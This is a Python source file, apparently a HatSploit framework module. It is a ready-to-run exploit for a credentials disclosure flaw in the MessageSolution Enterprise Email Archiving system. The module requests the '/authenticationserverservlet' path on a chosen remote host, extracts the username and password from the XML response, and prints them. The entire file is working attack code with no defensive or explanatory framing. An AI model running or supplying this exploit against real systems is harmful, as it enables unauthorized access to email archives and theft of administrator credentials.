text: #!/usr/bin/env python3
  
  #
  # This module requires HatSploit: https://hatsploit.netlify.app
  # Current source: https://github.com/EntySec/HatSploit
  #
  
  from hatsploit.lib.module import Module
  from hatsploit.utils.http import HTTPClient
  
  
  class HatSploitModule(Module, HTTPClient):
      details = {
          'Name': "MessageSolution EEA Credentials Disclosure",
          'Module': "exploit/linux/messagesolution/eea_credentials_disclosure",
          'Authors': [
              'Ivan Nikolsky (enty8080) - module developer'
          ],
          'Description': "MessageSolution Enterprise Email Archiving Management System credentials disclosure.",
          'Platform': "linux",
          'Rank': "high"
      }
  
      options = {
          'RHOST': {
              'Description': "Remote host.",
              'Value': None,
              'Type': "ip",
              'Required': True
          },
          'RPORT': {
              'Description': "Remote port.",
              'Value': 80,
              'Type': "port",
              'Required': True
          }
      }
  
      def exploit(self, remote_host, remote_port):
          response = self.http_request(
              method="GET",
              host=remote_host,
              port=remote_port,
              path='/authenticationserverservlet'
          )
  
          username = response.text[
                     response.text.find('<username>') + len('<username>'):response.text.find('</username>')
                     ]
          password = response.text[
                     response.text.find('<password>') + len('<password>'):response.text.find('</password>')
                     ]
  
          self.print_table("Credentials", ('Username', 'Password'), (username, password))
  
      def check(self, remote_host, remote_port):
          response = self.http_request(
              method="GET",
              host=remote_host,
              port=remote_port,
              path='/authenticationserverservlet'
          )
  
          if not response or response.status_code != 200:
              self.print_error("Target is not vulnerable!")
              return False
  
          return True
  
      def run(self):
          remote_host, remote_port = self.parse_options(self.options)
  
          self.print_process(f"Exploiting {remote_host}...")
          if not self.check(remote_host, remote_port):
              return
  
          self.exploit(remote_host, remote_port)
  